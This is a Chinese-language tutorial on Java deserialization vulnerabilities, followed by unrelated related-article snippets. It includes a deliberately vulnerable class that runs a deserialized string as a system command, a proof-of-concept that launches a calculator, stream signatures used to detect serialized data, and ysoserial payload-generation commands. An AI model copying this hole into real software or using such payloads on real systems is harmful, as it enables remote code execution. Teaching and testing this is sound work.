Java 反序列化漏洞

news2024/11/18 10:56:32

反序列化漏洞是指程序在反序列化期间,通过特殊的调用链引发的一系列安全问题。编程语言中只要存在序列化,反序列化功能就可能存在反序列化的安全问题。这里只针对Java和PHP进行讨论。

序列化漏洞概述

序列化的存在主要是为了存储和传输,将这些在程序内存中的对象转换成数据字节流。由对象转换得到字节流的过程就称作是序列化。反序列化就是由字节流转换得到对象的过程。

反序列化漏洞就是指当目标程序对攻击者可控的数据进行反序列化处理时产生的安全问题。

在各种编程语言的反序列化漏洞中,Java是最引人瞩目的,因为Java的开发生态中各种第三方库组件相互依赖,经常出现开发中常用的基础底层组件出现安全问题时,会引发核弹式反应,进而影响到上层得操作系统。

Java序列化基础知识

在Java中,如果想要对一个对象实现序列化,反序列化,那么这个对象的类必须要实现java.io.Serializable接口。序列化的实现由两种方法:

使用java.io.ObjectOutputStream类的方法

通过writeObject方法实现对象序列化

FileOutputStream f = new FileOutputStream("date.ser");
ObjectOutput s = new ObjectOutputStream(f);
s.writeObject(new Date());
s.flush();

通过readObject方法实现字节流反序列化

FileInputStream in = new FileInputStream("date.ser");
ObjectInputStream s = new ObjectInputStream(in);
Date date = (Date)s.readObject();

类实现Serializable接口

类实现接口会重写两个方法,writeObject和readObject。

Person类:

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Person implements Serializable {

    private String name;

    public Person(String name) {
        this.name = name;
    }

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        // 反序列化时会调用此方法
        System.out.println("Person.readObject method is being called");
        // 这里从输入数据流里解码读取一个字符串,并将其设置为 name 属性
        name = s.readUTF();
    }

    private void writeObject(ObjectOutputStream s) throws IOException {
        // 序列化时会调用此方法
        System.out.println("Person.writeObject method is being called");
        // 这里将 name 属性字符串编码写入到输出数据流里
        s.writeUTF(name);
    };

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                '}';
    }
}

创建Person对象

Person person = new Person("hacker");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(person);    // 对 Person 对象进行序列化
byte[] bytes = baos.toByteArray();  // 得到序列化后得到的字节数组

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Person p = (Person) ois.readObject();   // 对 bytes 字节数组进行反序列化,得到 Person 对象

其它编程语言的序列化和反序列化也大体类似。

Java反序列化漏洞原理

当Java应用程序对来自外部输入的不可信数据进行反序列化时,就会形成反序列化漏洞。

java反序列化漏洞检测思路

数据包内出现字符串:0xaced 00 05(二进制数据的16进制数据表示) 或者 rO0AB(二进制数据的Base64编码)

测试代码:

package Example4;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Dummy implements Serializable {

    private String cmd;

    public Dummy(String cmd) {
        this.cmd = cmd;
    }

    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        cmd = s.readUTF();	// 这里从输入数据流里解码读取一个字符串,并将其设置为属性 cmd
        Runtime.getRuntime().exec(cmd);	// 以属性 cmd 作为系统命令进行执行
    }

    private void writeObject(ObjectOutputStream s) throws IOException {
        s.writeUTF(cmd);
    };

}

攻击代码:

package Example4;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class Exploit {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Dummy dummy = new Dummy("calc");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(dummy);
        byte[] bytes = baos.toByteArray();

        // 使用指定字符编码将 byte 数组转换为字符串
        String str = new String(bytes, StandardCharsets.UTF_8);
        // 打印字符串
        System.out.println(str);

        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Dummy d = (Dummy) ois.readObject();
    }
}

结果:弹出计算器

 

Java反序列化漏洞利用

在现实世界的反序列化的利用往往时复杂的,往往需要多个组合多个不同的Serializable接口实现类的方阿飞调用,形成复杂的利用链。

对于实际测试时,推荐一个GITHUB项目:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

运行下面这条命令可以查看这个工具支持的利用链类型:

java -jar ysoserial-all.jar

payload生成命令:

java -jar ysoserial-all.jar payload 命令

需要注意的是工具集成的paylaod需要依赖的组件,当我们测试时发现它有依赖这些组件,就可以进行测试反序列化漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/570026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis入门篇-初

结束时长 Redis十大数据类型 基本目录 实际的类型是没有被红框框选的10个类型 Strings 1 Lists 2 Sets 3 Hashes 4 Sorted sets 5 Streams 6 Geospatial 7 HyperLogLog 8 Bitmaps 9 Bitfields 10类型展示 Strings --> HelloRedis Lists [A>B>C>C] Sets {A<…

第七章 文件读写

内容框图 7.1 文件读写介绍 文件打开和关闭 用word编写一份简历&#xff0c;应该有哪些流程&#xff1f; 打开word软件&#xff0c;新建一个word文件写入个人简历信息保存文件关闭word软件 同样&#xff0c;编程中操作文件的整体过程类似。 打开文件&#xff0c;或者新建立一个…

chatgpt赋能python:Python中的%z格式化代码

Python中的%z格式化代码 在Python编程中&#xff0c;%z是一个非常有用的格式化代码。它用于表示时区偏移量&#xff0c;并将其与日期时间字符串一起显示。在本文中&#xff0c;我们将深入了解Python中的%z代码&#xff0c;并探讨它如何帮助您处理日期和时间。 什么是%z&#…

chatgpt赋能python:PythonTCP断开连接原因和解决方案

Python TCP 断开连接原因和解决方案 Python 是一种广泛使用的编程语言&#xff0c;它支持网络编程、数据处理、人工智能、机器学习等诸多领域。在网络编程中&#xff0c;Python 通常使用 TCP 连接传输数据。然而&#xff0c;在使用 TCP 连接传输数据的过程中&#xff0c;我们可…

koa2获取HTTP请求参数

HTTP 什么是HTTP HTTP&#xff0c;即超文本传输协议&#xff0c;是一种实现客户端和服务器之间通信的响应协议&#xff0c;它是用作客户端和服务器之间的请求。 客户端&#xff08;浏览器&#xff09;会向服务器提交HTTP请求&#xff1b;然后服务器向客户端返回响应&#xf…

2023 Q1 ZK报告

1. ZK数据 2023年4月4日&#xff0c;ZK社区举办了zkSummit 9。 ZK技术应用场景主要分布情况为&#xff1a; 其中&#xff1a; 1&#xff09;ZK用于隐私场景案例最多&#xff0c;占比12.9%&#xff0c;说明人们对 将ZK技术用于隐私保护 兴趣浓厚。2&#xff09;ZK用于扩容场景…

超长溢出头部省略打点,坑这么大,技巧这么多?

目录 需求 利用 direction 实现头部超长溢出打点 简单介绍一下 direction&#xff1a; 另外两个与排版相关的属性还有&#xff1a; direction: rtl 会导致使用下划线 _ 连接的数字内容排版错误 多方案解决 方案一&#xff1a;两次 direction 反转 当然&#xff0c;这里…

【高级语言程序设计(一)】第 8 章:结构体类型和自定义类型

目录 前言 一、结构体类型定义 &#xff08;1&#xff09;结构体类型定义的一般形式 &#xff08;2&#xff09;结构体类型定义的说明 二、结构体类型变量 &#xff08;1&#xff09;结构体类型变量的定义和初始化 ① 先定义结构体类型、后定义结构体类型的变量&#xf…

今天用AI创作助手写的文章--Docker提问系列介绍 Docker 的基本概念和优势

目录 介绍 Docker 的基本概念和优势&#xff0c;以及在应用程序开发中的实际应用。基本概念&#xff1a;优势&#xff1a; 哪些应用可以部署到docker里面Docker在服务器里面的安装步骤Docker里面的报错如何很仔细的排查解决&#xff1f;总结一下docker 未来发展趋势 介绍 Docke…

安装Arch Linux后要做的十件事

Arch Linux 是一款轻量级、灵活且高度可定制的Linux发行版&#xff0c;被广泛用于个人电脑和服务器。一旦您成功安装了Arch Linux&#xff0c;接下来有一些重要的任务需要完成&#xff0c;以确保系统的稳定性和安全性&#xff0c;并为您的需求做好准备。 本文将详细介绍安装Ar…

C++11 -- 可变参数模板

文章目录 可变参数模板的概念可变模板参数的定义获取可变模板参数包的值递归函数方式展开参数包获取逗号表达式展开参数包获取 STL容器中的emplace相关接口参数emplace_back与STL容器中的push_back的主要区别emplace_back与push_back的差异原理emplate_back与push_back的区别验…

图像算法工程师岗位的主要职责(合集)

图像算法工程师岗位的主要职责 一、确定岗位的职责 1.根据工作任务的需要确立工作岗位名称及其数量; 2.根据岗位工种确定岗位职务范围; 3.根据工种性质确定岗位使用的设备、工具、工作质量和效率; 4.明确岗位环境和确定岗位任职资格; 5.确定各个岗位之间的相互关系; 6.根据岗位…

css元素的显示和隐藏

1. display显示隐藏 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><st…

测试C#分词工具jieba.NET

jieba.NET是jieba中文分词的C#版本&#xff0c;后者是优秀的Python中文分词组件GitHub中得到超过3万星。jieba.NET支持中文分词、关键词提取、词性标注等功能&#xff0c;本文主要测试其中文分词的功能基本用法。   新建测试项目&#xff0c;在NuGet管理器中添加jieba.NET。 …

SpringBoot --- 运维篇

一、打包与运行 1.1、程序打包与运行&#xff08;Windows版&#xff09; 所谓打包指将程序转换成一个可执行的文件&#xff0c;所谓运行指不依赖开发环境执行打包产生的文件。 SpringBoot程序是基于Maven创建的&#xff0c;在Maven中提供有打包的指令&#xff0c;叫做packag…

虹科HiveMQ与MQTT:构建互联汽车的新架构

前言 随着汽车的互联程度越来越高&#xff0c;汽车制造商和互联汽车平台提供商通过使用物联网技术&#xff0c;提供新服务并从车辆收集有价值的遥测数据&#xff0c;以此来增加营收。从高效的车队管理和汽车共享到预测性维护和高级驾驶员辅助系统&#xff0c;未来移动出行的可…

Packet Tracer – 访问控制列表演示

Packet Tracer – 访问控制列表演示 拓扑图 目标 第 1 部分&#xff1a;验证本地连接和测试访问控制列表 第 2 部分&#xff1a;删除访问控制列表和重复测试 背景信息 在本练习中&#xff0c;您将观察如何使用访问控制列表 (ACL) 阻止 ping 访问远程网络上的主机。 从配置…

大数据Doris(二十七):Broker Load导入HDFS数据到Doris表

文章目录 Broker Load导入HDFS数据到Doris表 一、创建Doris表 二、准备HDFS数据 三、准备Broker Load语句

【Springcloud】Feign远程调用

文章目录 1、RestTemplate远程调用2、基于Feign远程调用3、Feign的自定义配置4、Feign性能优化5、Feign的最佳实践思路6、案例 1、RestTemplate远程调用 在说基于Feign远程调用之前&#xff0c;先看一下RestTemplate发起远程调用的问题&#xff1a; String url "http:…

船新SpringBoot 3.1正式发布,新特性真香

Spring Boot 3.1 正式发布 Spring Boot 3.0 发布半年左右&#xff0c;Spring Boot 3.1 正式发布了&#xff1a; 同时发布更新的还有 2.7.x 版本&#xff0c;同时&#xff0c;2.6.x 版本线已经停止维护了&#xff0c;最新支持版本如下图所示&#xff1a; 2.7.x 这也是目前唯一正…